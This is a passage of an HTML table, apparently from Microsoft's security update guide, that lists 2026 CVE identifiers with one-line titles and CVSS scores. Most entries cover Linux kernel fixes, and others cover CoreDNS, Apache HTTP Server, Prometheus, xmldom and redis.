mapping</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31722">CVE-2026-31722</a></td><td><p>usb: gadget: f_rndis: Fix net_device lifecycle with device_move</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43036">CVE-2026-43036</a></td><td><p>net: use skb_header_pointer() for TCPv4 GSO frag_off check</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31769">CVE-2026-31769</a></td><td><p>gpib: fix use-after-free in IO ioctl handlers</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31707">CVE-2026-31707</a></td><td><p>ksmbd: validate response sizes in ipc_validate_msg()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31725">CVE-2026-31725</a></td><td><p>usb: gadget: f_ecm: Fix net_device lifecycle with device_move</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43049">CVE-2026-43049</a></td><td><p>HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43022">CVE-2026-43022</a></td><td><p>Bluetooth: hci_sync: hci_cmd_sync_queue_once() return -EEXIST if exists</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43042">CVE-2026-43042</a></td><td><p>mpls: add seqcount to protect the platform_label{,s} pair</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31771">CVE-2026-31771</a></td><td><p>Bluetooth: hci_event: move wake reason storage into validated event handlers</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43052">CVE-2026-43052</a></td><td><p>wifi: mac80211: check tdls flag in ieee80211_tdls_oper</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31709">CVE-2026-31709</a></td><td><p>smb: client: validate the whole DACL before rewriting it in cifsacl</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43021">CVE-2026-43021</a></td><td><p>Bluetooth: hci_sync: fix leaks when hci_cmd_sync_queue_once fails</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31712">CVE-2026-31712</a></td><td><p>ksmbd: require minimum ACE size in smb_check_perm_dacl()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43010">CVE-2026-43010</a></td><td><p>bpf: Reject sleepable kprobe_multi programs at attach time</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43019">CVE-2026-43019</a></td><td><p>Bluetooth: hci_conn: fix potential UAF in set_cig_params_sync</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31729">CVE-2026-31729</a></td><td><p>usb: typec: ucsi: validate connector number in ucsi_notify_common()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43045">CVE-2026-43045</a></td><td><p>mshv: Fix error handling in mshv_region_pin</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43009">CVE-2026-43009</a></td><td><p>bpf: Fix incorrect pruning due to atomic fetch precision tracking</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31715">CVE-2026-31715</a></td><td><p>f2fs: fix UAF caused by decrementing sbi-&gt;nr_pages[] in f2fs_write_end_io()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31697">CVE-2026-31697</a></td><td><p>crypto: ccp: Don't attempt to copy ID to userspace if PSP command failed</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31721">CVE-2026-31721</a></td><td><p>usb: gadget: f_hid: move list and spinlock inits from bind to alloc</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31711">CVE-2026-31711</a></td><td><p>smb: server: fix active_num_conn leak on transport allocation failure</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31699">CVE-2026-31699</a></td><td><p>crypto: ccp: Don't attempt to copy CSR to userspace if PSP command failed</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31694">CVE-2026-31694</a></td><td><p>fuse: reject oversized dirents in page cache</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31705">CVE-2026-31705</a></td><td><p>ksmbd: fix out-of-bounds write in smb2_get_ea() EA alignment</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43033">CVE-2026-43033</a></td><td><p>crypto: authencesn - Do not place hiseq at end of dst for out-of-place decryption</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31696">CVE-2026-31696</a></td><td><p>rxrpc: Fix missing validation of ticket length in non-XDR key preparsing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31698">CVE-2026-31698</a></td><td><p>crypto: ccp: Don't attempt to copy PDH cert to userspace if PSP command failed</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31704">CVE-2026-31704</a></td><td><p>ksmbd: use check_add_overflow() to prevent u16 DACL size overflow</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31702">CVE-2026-31702</a></td><td><p>f2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31708">CVE-2026-31708</a></td><td><p>smb: client: fix OOB read in smb2_ioctl_query_info QUERY_INFO path</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31700">CVE-2026-31700</a></td><td><p>net/packet: fix TOCTOU race on mmap'd vnet_hdr in tpacket_snd()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7598">CVE-2026-7598</a></td><td><p>libssh2 userauth.c userauth_password integer overflow</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43058">CVE-2026-43058</a></td><td><p>media: vidtv: fix pass-by-value structs causing MSAN warnings</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-37457">CVE-2026-37457</a></td><td><p></p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43964">CVE-2026-43964</a></td><td><p></p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>3.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43037">CVE-2026-43037</a></td><td><p>ip6_tunnel: clear skb2-&gt;cb[] in ip4ip6_err()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33190">CVE-2026-33190</a></td><td><p>CoreDNS TSIG authentication bypass on encrypted DNS transports</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33489">CVE-2026-33489</a></td><td><p>CoreDNS transfer plugin subzone ACL bypass via lexicographic zone comparison</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32936">CVE-2026-32936</a></td><td><p>CoreDNS DoH GET path missing size validation causes CPU and memory amplification</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32934">CVE-2026-32934</a></td><td><p>CoreDNS DNS-over-QUIC unbounded goroutine growth leads to denial of service</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35579">CVE-2026-35579</a></td><td><p>CoreDNS TSIG authentication bypass on gRPC, QUIC, DoH, and DoH3 transports</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43073">CVE-2026-43073</a></td><td><p>x86-64: rename misleadingly named '__copy_user_nocache()' function</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>2.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42151">CVE-2026-42151</a></td><td><p>Prometheus Azure AD remote write OAuth client secret exposed via config API</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42154">CVE-2026-42154</a></td><td><p>Prometheus: remote read endpoint allows denial of service via crafted snappy payload</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43125">CVE-2026-43125</a></td><td><p>dlm: validate length in dlm_search_rsb_tree</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43248">CVE-2026-43248</a></td><td><p>vhost: move vdpa group bound check to vhost_vdpa</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43176">CVE-2026-43176</a></td><td><p>wifi: rtw89: pci: validate release report content before using for RTL8922DE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43204">CVE-2026-43204</a></td><td><p>ASoC: qcom: q6asm: drop DSP responses for closed data streams</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43131">CVE-2026-43131</a></td><td><p>drm/amd/pm: Fix null pointer dereference issue</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43126">CVE-2026-43126</a></td><td><p>ALSA: mixer: oss: Add card disconnect checkpoints</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43127">CVE-2026-43127</a></td><td><p>ntfs3: fix circular locking dependency in run_unpack_ex</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43161">CVE-2026-43161</a></td><td><p>iommu/vt-d: Skip dev-iotlb flush for inaccessible PCIe device without scalable mode</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43198">CVE-2026-43198</a></td><td><p>tcp: fix potential race in tcp_v6_syn_recv_sock()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43245">CVE-2026-43245</a></td><td><p>ntfs: -&gt;d_compare() must not block</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71290">CVE-2025-71290</a></td><td><p>misc: ti_fpc202: fix a potential memory leak in probe function</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43137">CVE-2026-43137</a></td><td><p>ASoC: SOF: Intel: hda: Fix NULL pointer dereference</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43115">CVE-2026-43115</a></td><td><p>srcu: Use irq_work to start GP in tiny SRCU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43234">CVE-2026-43234</a></td><td><p>team: avoid NETDEV_CHANGEMTU event when unregistering slave</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71293">CVE-2025-71293</a></td><td><p>drm/amdgpu/ras: Move ras data alloc before bad page check</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43172">CVE-2026-43172</a></td><td><p>wifi: iwlwifi: fix 22000 series SMEM parsing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71285">CVE-2025-71285</a></td><td><p>net: qrtr: Drop the MHI auto_queue feature for IPCR DL channels</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43197">CVE-2026-43197</a></td><td><p>netconsole: avoid OOB reads, msg is not nul-terminated</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43185">CVE-2026-43185</a></td><td><p>ksmbd: fix signededness bug in smb_direct_prepare_negotiation()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71273">CVE-2025-71273</a></td><td><p>wifi: rtw88: Use devm_kmemdup() in rtw_set_supported_band()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43118">CVE-2026-43118</a></td><td><p>btrfs: fix zero size inode with non-zero size after log replay</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43109">CVE-2026-43109</a></td><td><p>x86: shadow stacks: proper error handling for mmap lock</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43153">CVE-2026-43153</a></td><td><p>xfs: remove xfs_attr_leaf_hasname</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43129">CVE-2026-43129</a></td><td><p>ima: verify the previous kernel's IMA buffer lies in addressable RAM</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43116">CVE-2026-43116</a></td><td><p>netfilter: ctnetlink: ensure safe access to master conntrack</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43274">CVE-2026-43274</a></td><td><p>mailbox: mchp-ipc-sbi: fix out-of-bounds access in mchp_ipc_get_cluster_aggr_irq()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43244">CVE-2026-43244</a></td><td><p>kcm: fix zero-frag skb in frag_list on partial sendmsg error</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43191">CVE-2026-43191</a></td><td><p>drm/amd/display: Adjust PHY FSM transition to TX_EN-to-PLL_ON for TMDS on DCN35</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43258">CVE-2026-43258</a></td><td><p>alpha: fix user-space corruption during memory compaction</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71289">CVE-2025-71289</a></td><td><p>fs/ntfs3: handle attr_set_size() errors when truncating files</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43107">CVE-2026-43107</a></td><td><p>xfrm: account XFRMA_IF_ID in aevent size calculation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43243">CVE-2026-43243</a></td><td><p>drm/amd/display: Add signal type check for dcn401 get_phyd32clk_src</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71294">CVE-2025-71294</a></td><td><p>drm/amdgpu: fix NULL pointer issue buffer funcs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43250">CVE-2026-43250</a></td><td><p>usb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43237">CVE-2026-43237</a></td><td><p>drm/amdgpu: Refactor amdgpu_gem_va_ioctl for Handling Last Fence Update and Timeline Management v4</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43201">CVE-2026-43201</a></td><td><p>APEI/GHES: ARM processor Error: don't go past allocated memory</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43219">CVE-2026-43219</a></td><td><p>net: cpsw_new: Fix potential unregister of netdev that has not been registered yet</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43165">CVE-2026-43165</a></td><td><p>hwmon: (nct7363) Fix a resource leak in nct7363_present_pwm_fanin</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43088">CVE-2026-43088</a></td><td><p>net: af_key: zero aligned sockaddr tail in PF_KEY exports</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43195">CVE-2026-43195</a></td><td><p>drm/amdgpu: validate user queue size constraints</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-71272">CVE-2025-71272</a></td><td><p>most: core: fix resource leak in most_register_interface error paths</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43213">CVE-2026-43213</a></td><td><p>wifi: rtw89: pci: validate sequence number of TX release report</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43228">CVE-2026-43228</a></td><td><p>hfs: Replace BUG_ON with error handling for CNID count checks</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43216">CVE-2026-43216</a></td><td><p>net: Drop the lock in skb_may_tx_timestamp()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43119">CVE-2026-43119</a></td><td><p>Bluetooth: hci_sync: annotate data-races around hdev-&gt;req_status</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43267">CVE-2026-43267</a></td><td><p>wifi: rtw89: fix potential zero beacon interval in beacon tracking</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43101">CVE-2026-43101</a></td><td><p>ipv6: ioam: fix potential NULL dereferences in __ioam6_fill_trace_data()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43199">CVE-2026-43199</a></td><td><p>net/mlx5e: Fix "scheduling while atomic" in IPsec MAC address query</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43083">CVE-2026-43083</a></td><td><p>net: ioam6: fix OOB and missing lock</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43870">CVE-2026-43870</a></td><td><p>Apache Thrift: Node.js web_server.js multi-vulnerability</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-43868">CVE-2026-43868</a></td><td><p>Apache Thrift: Rust implementation vulnerable to CVE-2020-13949 pattern</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33523">CVE-2026-33523</a></td><td><p>Apache HTTP Server: multiple modules: HTTP response splitting forwarding malicious status line</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-23918">CVE-2026-23918</a></td><td><p>Apache HTTP Server: http2: double free and possible RCE on early reset</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34059">CVE-2026-34059</a></td><td><p>Apache HTTP Server: mod_proxy_ajp: Heap Over-Read and memory disclosure in ajp_parse_data()</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34032">CVE-2026-34032</a></td><td><p>Apache HTTP Server: mod_proxy_ajp: Heap Buffer Over-Read Due to Missing Null-Termination Check (ajp_msg_get_string)</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-24072">CVE-2026-24072</a></td><td><p>Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33006">CVE-2026-33006</a></td><td><p>Apache HTTP Server: mod_auth_digest timing attack</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33007">CVE-2026-33007</a></td><td><p>Apache HTTP Server: mod_authn_socache crash</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-29169">CVE-2026-29169</a></td><td><p>Apache HTTP Server: mod_dav_lock indirect lock crash</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-29168">CVE-2026-29168</a></td><td><p>Apache HTTP Server: mod_md unrestricted OCSP response</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33857">CVE-2026-33857</a></td><td><p>Apache HTTP Server: Off-by-one OOB reads in AJP getter functions</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41672">CVE-2026-41672</a></td><td><p>xmldom: XML node injection through unvalidated comment serialization</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41674">CVE-2026-41674</a></td><td><p>xmldom: XML injection through unvalidated DocumentType serialization</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41675">CVE-2026-41675</a></td><td><p>xmldom: XML node injection through unvalidated processing instruction serialization</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41673">CVE-2026-41673</a></td><td><p>xmldom: Denial of service via uncontrolled recursion in XML serialization</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-25243">CVE-2026-25243</a></td><td><p>redis-server RESTORE invalid memory access may allow remote code execution</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-23631">CVE-2026-23631</a></td><td><p>redis-server Lua use-after-free may allow remote code execution</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31717">CVE-2026-31717</a></td><td><p>ksmbd: validate owner of durable handle on reconnect</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-31718">CVE-2026-31718</a></td><td><p>ksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a 